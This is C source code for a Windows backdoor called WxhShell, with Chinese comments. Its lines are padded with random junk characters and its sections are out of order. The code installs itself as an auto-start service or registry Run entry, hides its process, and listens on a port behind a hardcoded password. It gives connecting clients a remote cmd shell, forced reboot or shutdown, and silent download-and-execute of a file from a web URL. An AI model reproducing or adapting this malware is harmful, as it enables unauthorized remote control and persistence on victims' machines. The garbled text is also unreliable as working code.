    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [DhEh@  
    if(Boot(SHUTDOWN)) 9'X@@6b*'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6=3(oUl  
    else { @Wz%KdXA  
    closesocket(wsh); GoL|iNW`  
    ExitThread(0); Z>h{` X\2  
    } ^(g_.>  
    break; vG3M5G  
    } gi 5XP]z  
  // 获取shell $^IjFdD  
  case 's': { % GVN4y&  
    CmdShell(wsh); Pv[ykrm/  
    closesocket(wsh); !"%S#nrL$  
    ExitThread(0); nUqL\(UuY  
    break; 1~L\s}|2d  
  } :ovt?q8">  
  // 退出 ~.H~XK w  
  case 'x': { U\?+s2I)v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gtMw3D`FL  
    CloseIt(wsh); jf8w7T  
    break; :i}@Br+R7L  
    } Q2FQhc@L(:  
  // 离开 +8eVj#N  
  case 'q': { SlT7L||Ww  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ovSH}h!  
    closesocket(wsh); FF jRf  
    WSACleanup(); b( 1 :w"wD  
    exit(1); 1[px`%DR~  
    break; ~9bv Wd1D  
        } RB *P0  
  } E;$$+rA  
  } oo\IS\  
<oQ6ZX  
  // 提示信息 gz#+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 03C .Xh=!  
} 8M~u_`6  
  } }]`}Ja  
88#N~j~P  
  return; *s~i 2}  
} vLr&ay!w  
j+ I*Xw  
// shell模块句柄 qA04Vc[2  
int CmdShell(SOCKET sock) $.;iu2iyo  
{ Vl-D<M+i h  
STARTUPINFO si; y]w )`}Ax  
ZeroMemory(&si,sizeof(si)); Ls(&HOK[p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k,A M]H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &hO$4qtN  
PROCESS_INFORMATION ProcessInfo; oH=4m~'V  
char cmdline[]="cmd"; L-j/R1fTvl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $G)&J2zL  
  return 0; {({ R:!c  
} Nz}|%.GP"  
4bE42c=Ca7  
// 自身启动模式 QP'qG@j[:  
int StartFromService(void) =%xIjxYl  
{ 0,bt^a  
typedef struct d4Ixuux<3  
{ 4a#B!xW  
  DWORD ExitStatus; gNG.l  
  DWORD PebBaseAddress; \ =S3 L<  
  DWORD AffinityMask; )7tV*=?Ic8  
  DWORD BasePriority; dP?nP(l  
  ULONG UniqueProcessId; 2m|Eoc&M_  
  ULONG InheritedFromUniqueProcessId; N!]PIWnC  
}   PROCESS_BASIC_INFORMATION; /nwxuy  
:{x!g6bK@  
PROCNTQSIP NtQueryInformationProcess; :vw0r`  
^*HVP*   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =CWc`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y!bpOa&  
^ sS>Mts  
  HANDLE             hProcess; \dC.%#  
  PROCESS_BASIC_INFORMATION pbi; Cm99?K  
F@B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;OQ#@|D  
  if(NULL == hInst ) return 0; N'htcC  
pM1=U F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u}Lc|_ea`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #( $k 3OA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B?$S~5  }  
Z83q-  
  if (!NtQueryInformationProcess) return 0; :y4)qF  
cdd P T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =ZxW8 DK  
  if(!hProcess) return 0; #9URVq,  
d/"gq}NT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d;;>4}XJ]  
%@M00~-  
  CloseHandle(hProcess); =x|##7  
WZfk}To1#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yBpW#1=  
if(hProcess==NULL) return 0; |!?2OTY  
c#]'#+aH  
HMODULE hMod; O|A~dj `  
char procName[255]; i{Y=!r5r  
unsigned long cbNeeded; R[mH35D/  
;t.SiA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u5  [1Z|O  
[lDt0l5^  
  CloseHandle(hProcess); r[C3u[  
)R [@G.  
if(strstr(procName,"services")) return 1; // 以服务启动 wgSR*d>y*9  
+G3nn!g l4  
  return 0; // 注册表启动 TFiuz; *|  
} "1gk-  
B|Rpm^ |  
// 主模块 `dG.L  
int StartWxhshell(LPSTR lpCmdLine) .ruz l(6  
{ $71D)*{P  
  SOCKET wsl; qaCi)f!Dl  
BOOL val=TRUE; oo$WD6eCR  
  int port=0; }J'5EAp  
  struct sockaddr_in door; #z-iL!?  
e)ZyTuj  
  if(wscfg.ws_autoins) Install(); AAlmG9l&7  
Egjk^:@  
port=atoi(lpCmdLine); Knw'h;,[  
{WM&  
if(port<=0) port=wscfg.ws_port; o2 T/IJP  
bJG!)3cx  
  WSADATA data; Cn6n4, 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Rsa\V6N>  
1?e>x91  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $BR=IYby  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mo/2,DiI5  
  door.sin_family = AF_INET; 7YQK@lS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5tgILxSK  
  door.sin_port = htons(port); LS2ek*FJO  
a@S4IoBg%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]P}K3tN%]  
closesocket(wsl); k^'d@1z;C  
return 1; ziB]S@U  
} @kCD.  
2EqsfU* I  
  if(listen(wsl,2) == INVALID_SOCKET) { {'=Nb 5F  
closesocket(wsl); >zfZw"mEP  
return 1; **w*hd]  
} I 1VEm?CQ  
  Wxhshell(wsl); CwEWW\Bu  
  WSACleanup(); Ls$g-k%c@Q  
#0YzPMV  
return 0; 0]2B-o"kI  
M|Lw`?T  
} p.TiTFu/  
#BT6bH08X  
// 以NT服务方式启动 x>8}|ou  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hI>rtaY_  
{ :UJUh/U  
DWORD   status = 0; Fgc:6<MGM  
  DWORD   specificError = 0xfffffff; jt10gVC  
n[MIa]dK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MRVz:g\mi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u{{xnyl?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4-}A'fTU8  
  serviceStatus.dwWin32ExitCode     = 0; 8NF;k5   
  serviceStatus.dwServiceSpecificExitCode = 0; !+|N<`  
  serviceStatus.dwCheckPoint       = 0; 1VyO?KX '  
  serviceStatus.dwWaitHint       = 0; K+\0}qn  
cJ(zidf_$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YL&b9e4  
  if (hServiceStatusHandle==0) return; (zTI)EV  
M5ySs\O4  
status = GetLastError(); X-ki%jp3  
  if (status!=NO_ERROR) sKG~<8M}  
{ I}G}+0geV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <cfH '~  
    serviceStatus.dwCheckPoint       = 0; EBL,E:_)  
    serviceStatus.dwWaitHint       = 0; Z\gg<Q  
    serviceStatus.dwWin32ExitCode     = status; XdIVMXLL\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZNH*[[Pf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (.XDf3   
    return;  eS@!\H x  
  } s*~jvL  
U0bE B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U37?P7i's  
  serviceStatus.dwCheckPoint       = 0; 5vh"PlK`s  
  serviceStatus.dwWaitHint       = 0; SeJFZ0p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a_iQlsU  
} KutgW#+40  
^q N1~v=hS  
// 处理NT服务事件,比如:启动、停止 /&!d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RnBmy^l"  
{ oQjB&0k4  
switch(fdwControl) Nj@?}`C 4  
{ t>h i$NX{p  
case SERVICE_CONTROL_STOP: <iprPk  
  serviceStatus.dwWin32ExitCode = 0; Q}f}Jf3P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T# _n-b>  
  serviceStatus.dwCheckPoint   = 0; VU0tyj$  
  serviceStatus.dwWaitHint     = 0; aaD$'Y,<>B  
  { Py25k 0j!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ):\{n8~  
  } 'St= izhd  
  return; ,vdP #:  
case SERVICE_CONTROL_PAUSE: a4CNPf<$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [.Wt,zrE  
  break; 2=,Sz1`t  
case SERVICE_CONTROL_CONTINUE: g Wv+i/,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K,,@',  
  break; GxDF7 z%&  
case SERVICE_CONTROL_INTERROGATE: 8OtUY}R  
  break; P$qkb|D,  
}; O2/w:zOg'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%Yis=v  
} |>}0? '/]  
DMxS-hl  
// 标准应用程序主函数 f]A6Mx6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &?Z)V-1H  
{ lgqL)^8A  
m^x\@!N:(  
// 获取操作系统版本 42LXL*-4  
OsIsNt=GetOsVer(); g!Yh=kA'N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hSKH#NS  
tc2GI6]e'  
  // 从命令行安装 a<"& RnG(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,p`b Wm  
59Q Q_#>  
  // 下载执行文件 "XsY~  
if(wscfg.ws_downexe) { 2CgIY89O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <07W&`Dw  
  WinExec(wscfg.ws_filenam,SW_HIDE); M-K@n$k   
} ^W[`##,{Od  
-qP[$Q  
if(!OsIsNt) { 2/4x]i H*  
// 如果时win9x,隐藏进程并且设置为注册表启动 F20-!b  
HideProc(); uvv-lAbjw  
StartWxhshell(lpCmdLine); f#Cdx"  
}  mFoK76  
else SVWSO  
  if(StartFromService()) 4x?u5L 9o  
  // 以服务方式启动 =}GyI_br;8  
  StartServiceCtrlDispatcher(DispatchTable); uWtS83i  
else 2LH;d`H[0  
  // 普通方式启动 _"bvT?|  
  StartWxhshell(lpCmdLine); E/P53CD  
]sP9!hup  
return 0; #I~dv{RX  
} s^R2jueR  
Q R$sIu@%  
x2c*k$<p  
}e =GvWGa  
=========================================== 7.rZ%1N  
bK%tQeT  
N_[ Q.HD"  
M]TVaN$v#  
9+Bq00-Z$  
3CuoB b8  
" C\@YH]  
8B+^vF   
#include <stdio.h>  VgoKi  
#include <string.h> `2,_"9Z(  
#include <windows.h> Dx*oSP.qX  
#include <winsock2.h> %)ov,p |  
#include <winsvc.h> jV&W[xKa  
#include <urlmon.h> > 0)`uJ  
0M2+?aKif  
#pragma comment (lib, "Ws2_32.lib") U zHhU*nW  
#pragma comment (lib, "urlmon.lib") vbh#[,lh  
F ) ~pw  
#define MAX_USER   100 // 最大客户端连接数 ]JuB6o_L  
#define BUF_SOCK   200 // sock buffer >M85xjXP  
#define KEY_BUFF   255 // 输入 buffer `z`;eR2oX  
,8 ?*U]}  
#define REBOOT     0   // 重启 3zF7V:XH  
#define SHUTDOWN   1   // 关机 -vAG5x/,  
D|'Z c &  
#define DEF_PORT   5000 // 监听端口 &`2*6 )qa  
"fd=(& M*l  
#define REG_LEN     16   // 注册表键长度 ;K-t  
#define SVC_LEN     80   // NT服务名长度 Vzm7xl [  
{j*+:Gj0V  
// 从dll定义API -3U} (cZ*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oioN0EuDk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )3 ">%1R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *X5LyO3-gP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q_Sq  uuk  
Mn;CG'FA  
// wxhshell配置信息 >&Lu0oHH  
struct WSCFG { X]%4QIeS  
  int ws_port;         // 监听端口 SYLkC [0 k  
  char ws_passstr[REG_LEN]; // 口令 <QLj6#d7Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no S]@iS[|?  
  char ws_regname[REG_LEN]; // 注册表键名 ?IO/zkeXg  
  char ws_svcname[REG_LEN]; // 服务名 sRI8znus  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~,1X>N"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0_izTke  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $R36`wk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q-CVq_\3I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1uzfV)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L6qA=b~iz  
13 p0w  
}; C,.{y`s'  
K*RRbtb  
// default Wxhshell configuration ||NCVGJG  
struct WSCFG wscfg={DEF_PORT, c~;.m<yrf  
    "xuhuanlingzhe", 3qZ{yr2N[  
    1, |REU7?B  
    "Wxhshell", { )K(}~VD  
    "Wxhshell", H-lRgJdc  
            "WxhShell Service", izA3INT  
    "Wrsky Windows CmdShell Service", LnIJ wD  
    "Please Input Your Password: ", =2'^ :4Z  
  1, cH ?]uu(  
  "http://www.wrsky.com/wxhshell.exe", ypVr"fWB  
  "Wxhshell.exe" 2Z |kf9  
    }; GrIdQi^8  
B9\o:eY  
// 消息定义模块 _bsfM;u.%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % VZ\4+8S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b2H6}s"=w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r?*?iw2g  
char *msg_ws_ext="\n\rExit."; .quc i(D  
char *msg_ws_end="\n\rQuit."; TA5M4r6  
char *msg_ws_boot="\n\rReboot..."; X_2I4Jz]6  
char *msg_ws_poff="\n\rShutdown..."; B$j,:^  
char *msg_ws_down="\n\rSave to "; "m5ZZG#R`  
f}4h}Cq  
char *msg_ws_err="\n\rErr!"; g?wogCs5  
char *msg_ws_ok="\n\rOK!"; rKxk?}  
u:|5jF  
char ExeFile[MAX_PATH]; %yVZ|d*Q  
int nUser = 0; ;?9~^,l  
HANDLE handles[MAX_USER]; u@Lu.t!],  
int OsIsNt; dl4.jLY  
Qfi5fp=f  
SERVICE_STATUS       serviceStatus; %iNDRLR%I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~@bKQ>Xw  
AF}HS8eYy  
// 函数声明 8wd2\J,]  
int Install(void); h&{pMmS3,  
int Uninstall(void); # L R[6l  
int DownloadFile(char *sURL, SOCKET wsh); B~IOM  
int Boot(int flag); q ^?{6}sy  
void HideProc(void); gg9W7%t/  
int GetOsVer(void); n:+M Nr  
int Wxhshell(SOCKET wsl); ;I0/zeM%  
void TalkWithClient(void *cs); }e$);A|  
int CmdShell(SOCKET sock); mB\|<2  
int StartFromService(void); (;h\)B!o  
int StartWxhshell(LPSTR lpCmdLine); 1/HZY0em  
*V/SI E*8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LY MfoXp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2#^[`sFPO  
|(fWT}tg  
// 数据结构和表定义 K+Qg=vGY  
SERVICE_TABLE_ENTRY DispatchTable[] = u/AN| y  
{ 8b/yT4f  
{wscfg.ws_svcname, NTServiceMain}, &'R]oeag  
{NULL, NULL} | v+b?@  
}; H>B:jJf  
Kh>^;`h  
// 自我安装 n| %{R|s  
int Install(void) ]=/f`  
{ J_,y?}.e3  
  char svExeFile[MAX_PATH]; .d2s4q\  
  HKEY key; 0Z\fK>yw  
  strcpy(svExeFile,ExeFile); z y.Ok 49  
+MEWAW[}^  
// 如果是win9x系统,修改注册表设为自启动 ~b+>o  
if(!OsIsNt) { O/-xkzR*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w-1CA{"i7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uhf -}Jdw  
  RegCloseKey(key); @!-= :<h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { opBv x>S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ba<4:[Go  
  RegCloseKey(key); jooh`| `P  
  return 0; 6^ ~& sA  
    } (\G~S 4  
  } cNHN h[ C  
} (C!fIRY  
else { OS3J,f}<=  
=I?p(MqW  
// 如果是NT以上系统,安装为系统服务 g\ke,r6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Y\u,\GrxW  
if (schSCManager!=0) `jJb) z3D  
{ Y$N|p{Z  
  SC_HANDLE schService = CreateService cu Nwv(P  
  ( &Z9b&P  
  schSCManager, _PuMZjGL  
  wscfg.ws_svcname, i'a M#4V  
  wscfg.ws_svcdisp, X%;,r 2g  
  SERVICE_ALL_ACCESS, I%%$O' S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S>6APQ-   
  SERVICE_AUTO_START, cewQQ&  
  SERVICE_ERROR_NORMAL, zFOX%q  
  svExeFile, > vgqf>)kk  
  NULL, p 0-\G6  
  NULL, j@9A!5<CCk  
  NULL, k(s3~S2h  
  NULL, LG;xZQx'  
  NULL /6>2,S8Ar  
  ); [}FP_Su$6  
  if (schService!=0) R(csJ4F  
  { m'%F,c)  
  CloseServiceHandle(schService); ;]p#PNQ0  
  CloseServiceHandle(schSCManager); Z#9{1sHEP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /H\ZCIu/7  
  strcat(svExeFile,wscfg.ws_svcname); ZM<1;!i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KBXdr52"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H>M0G L  
  RegCloseKey(key); SMnbI .0  
  return 0; gp;(M~we  
    } z. 7 UfLV9  
  } M[N|HsI8?  
  CloseServiceHandle(schSCManager); 64[j:t=N  
} Ff|?<\x0}A  
} D`Fl*Wc4H  
y9:|}Vh  
return 1; pS51fF9  
} xJ,V !N  
TMGZHOAt  
// 自我卸载 U%2pbGU  
int Uninstall(void) pp/Cn4"w  
{ $vicxE~-E  
  HKEY key; c_%vD~6W-  
)KkA<O}f  
if(!OsIsNt) { k4eV*e8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }&ZO q'B  
  RegDeleteValue(key,wscfg.ws_regname); d[jxU/.p;  
  RegCloseKey(key); @eR>?.:&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XYf;72*  
  RegDeleteValue(key,wscfg.ws_regname); s}UPe)Vu  
  RegCloseKey(key); vfmKYiLp  
  return 0; ZCV&v47\p_  
  } ASPfzW2  
} l =xy_ TCf  
} ,f4Hl%T;  
else { =p ^Sn,t  
e~jp< 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (7&[!PS  
if (schSCManager!=0) `nn;E% n  
{ <{:$ ]3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q;Xb-\\  
  if (schService!=0) enE8T3   
  { H"].G^V\6  
  if(DeleteService(schService)!=0) { R 8?Xz5  
  CloseServiceHandle(schService); 0vf2wBK'T  
  CloseServiceHandle(schSCManager); ;}WdxWw4  
  return 0; }D{y u+)  
  } L:j;;9Sp{  
  CloseServiceHandle(schService); K%Jy?7 U  
  } PG+ICg  
  CloseServiceHandle(schSCManager); JM@MNS_||(  
} Nq Ve{+1x  
} U2\zl  
/5EM;Mx  
return 1; FlgK:=Fmj  
}  ze{  
7J.alV4`/  
// 从指定url下载文件 ku&IVr%  
int DownloadFile(char *sURL, SOCKET wsh) s^)wh v`C  
{ 2y`rS _2  
  HRESULT hr; ok  iI:  
char seps[]= "/"; ~f;d3dJ]/  
char *token; t9;yyZh  
char *file; $ nx&(V  
char myURL[MAX_PATH]; @OV\raUO&V  
char myFILE[MAX_PATH]; Kp!sn,:  
(ylpH`  
strcpy(myURL,sURL); ]Wa.k  
  token=strtok(myURL,seps); t n>$5}^;  
  while(token!=NULL) g/'CX}g`  
  { 0L9z[2sj  
    file=token; c!d>6:\  
  token=strtok(NULL,seps); :U$<h  
  } nB[Aw7^|A  
b%z4u0  
GetCurrentDirectory(MAX_PATH,myFILE); cNZuwS~,  
strcat(myFILE, "\\"); /4}{SE  
strcat(myFILE, file); }'U "HHv  
  send(wsh,myFILE,strlen(myFILE),0); H.3+5 po  
send(wsh,"...",3,0); U ]Ek 5p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KP(RK4F  
  if(hr==S_OK) ?ey!wcv~  
return 0; f5.rzrU  
else hN=YC\l  
return 1; qv>?xKSm  
38ChS.(  
} j-e/nZR@  
Oc8]A=M12  
// 系统电源模块 @8a1a3_F  
int Boot(int flag) EZlcpCS  
{ ;'CWAJK  
  HANDLE hToken; i"V2=jTeBv  
  TOKEN_PRIVILEGES tkp; $iu{u|VSu  
cOkjeHs 5  
  if(OsIsNt) { 3\j{*f$J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5v<X-8"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'mx_]b^O  
    tkp.PrivilegeCount = 1; J\VG/)E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |E/U(VS3l~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~?T*D*  
if(flag==REBOOT) { Xk8+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x=7hOI5u  
  return 0; f4eLnY  
} oNH&VHjU  
else { Pp.qDkT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s wgn( -  
  return 0; }A)>sQ  
} QbA+\  
  } v,qK= ]ty  
  else {  o0t/  
if(flag==REBOOT) { z'FD{xdf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \@6P A  
  return 0; lW}"6@0,  
} zfAHE {c  
else { 2@ 4^ 81  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?fF{M%i-%  
  return 0; rBG8.E36J  
} $$QbcnOf$  
} $42%H#  
qC<!!473?  
return 1; Ck<g0o6  
} QQ*yQ\  
E07g^y"}i  
// win9x进程隐藏模块 Ip_S8 ;;  
void HideProc(void) =fy~-FN_  
{ aDr46TB`J  
%heX06  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :$eg{IXC"  
  if ( hKernel != NULL ) %*d(1?\o  
  { :i'jQ<|wZN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #IH7WaN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &}sC8,Sr  
    FreeLibrary(hKernel); 0>PO4WFVJ  
  } #N"zTW%  
V *2 =S  
return; Ga o(3Y  
} L\p@1N?K  
\g|u|Y.2[  
// 获取操作系统版本 MN|8(f5Gs  
int GetOsVer(void) TM_ MJp  
{ LeY!A#j  
  OSVERSIONINFO winfo; Id->F0x0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +;nADl+Q  
  GetVersionEx(&winfo); \dpsyc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `a.1Af;L  
  return 1; Y>eypfK"  
  else ?<@yo&)  
  return 0; ep]tio_  
} t-#Y6U}b+  
**jD&h7$s-  
// 客户端句柄模块 O/;$0`~hY  
int Wxhshell(SOCKET wsl) 0Me *X  
{ nx<q]J uv\  
  SOCKET wsh; TRQX#))B  
  struct sockaddr_in client; vF45tw  
  DWORD myID; \qPgQsy4  
:hB 8hTw]p  
  while(nUser<MAX_USER) lW F=bz0  
{ YE#OAfj~  
  int nSize=sizeof(client); -QaS/WO_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0q%=Vs~@g  
  if(wsh==INVALID_SOCKET) return 1; zw=as9z1-  
E%L]ifA9!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wg?:jK  
if(handles[nUser]==0) qwka77nNT  
  closesocket(wsh); , O=@I  
else 5S:&^ A<  
  nUser++; h[c HCVM:  
  } d7o~$4h|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f#xqu +)Z  
m9^ ? p  
  return 0; #+Lo&%p#3  
} ],%}}UN  
C._I\:G^  
// 关闭 socket X/,4hjg  
void CloseIt(SOCKET wsh) NJ-cP m  
{ fT.5@RR7^  
closesocket(wsh); JnX@eBNV  
nUser--; [ @> 8Qhw  
ExitThread(0); 7`3he8@ze  
} luZqW`?Bt  
bHcb.;<  
// 客户端请求句柄 * wN+Ak q  
void TalkWithClient(void *cs) Tr}@fa  
{ 3"'|Ql.H  
zk]6|i$!I  
  SOCKET wsh=(SOCKET)cs; ~..h=  
  char pwd[SVC_LEN]; %j=E}J<H5*  
  char cmd[KEY_BUFF]; ih1s`CjG  
char chr[1]; ^r=#HQGt  
int i,j; kl[bDb1p  
*>.~f<V  
  while (nUser < MAX_USER) { |::kC3=  
WPyd ^Y<  
if(wscfg.ws_passstr) { lfR"22t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5}e-~-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <u44YvLBm  
  //ZeroMemory(pwd,KEY_BUFF); Cg 85  
      i=0; =1n>vUW+J  
  while(i<SVC_LEN) { _p{ag 1gP  
V]}/e!XK\  
  // 设置超时 `A80""y:M  
  fd_set FdRead; K@*m6)  
  struct timeval TimeOut; _*Vq1D]C  
  FD_ZERO(&FdRead); `(.ue8T  
  FD_SET(wsh,&FdRead); fE)+9!  
  TimeOut.tv_sec=8; )@Xdr0  
  TimeOut.tv_usec=0; #.}Su+XF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I}Q3B3Byg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~PuPY:"  
TO[5h Y\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "DWw1{ 5/  
  pwd=chr[0]; ) !ZA.sx  
  if(chr[0]==0xd || chr[0]==0xa) { ..;LU:F  
  pwd=0; @]*z!>1  
  break; %8 cFzyE*  
  } 6?}8z q[  
  i++; G`|mP:T:o  
    } r~nrP=-%  
h.'h L  
  // 如果是非法用户,关闭 socket U$VTk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XrSqU D  
} & PHHacp  
,`+y4Z6`W2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7F?^gMi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v-G(bw3  
hPFIf>%}  
while(1) { `-ENKr]  
F$F5N1<  
  ZeroMemory(cmd,KEY_BUFF); f<|8NQ2y.  
Ev0V\tl>0  
      // 自动支持客户端 telnet标准   ?WUE+(oH>  
  j=0; @292;qi  
  while(j<KEY_BUFF) { +$},Hu69j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #3u8BLy$Q  
  cmd[j]=chr[0]; D>*%zz|  
  if(chr[0]==0xa || chr[0]==0xd) { o}WbW }&  
  cmd[j]=0; 6xz&Qi7w  
  break; JpS:}yyJ>N  
  } {2Gp+&  
  j++; C?x  
    } P!bm$h*3?  
HTx7._b  
  // 下载文件 UQW;!8J#R(  
  if(strstr(cmd,"http://")) { >+oQxml6nI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sFS_CyN!7  
  if(DownloadFile(cmd,wsh)) k_}ICKzw1  
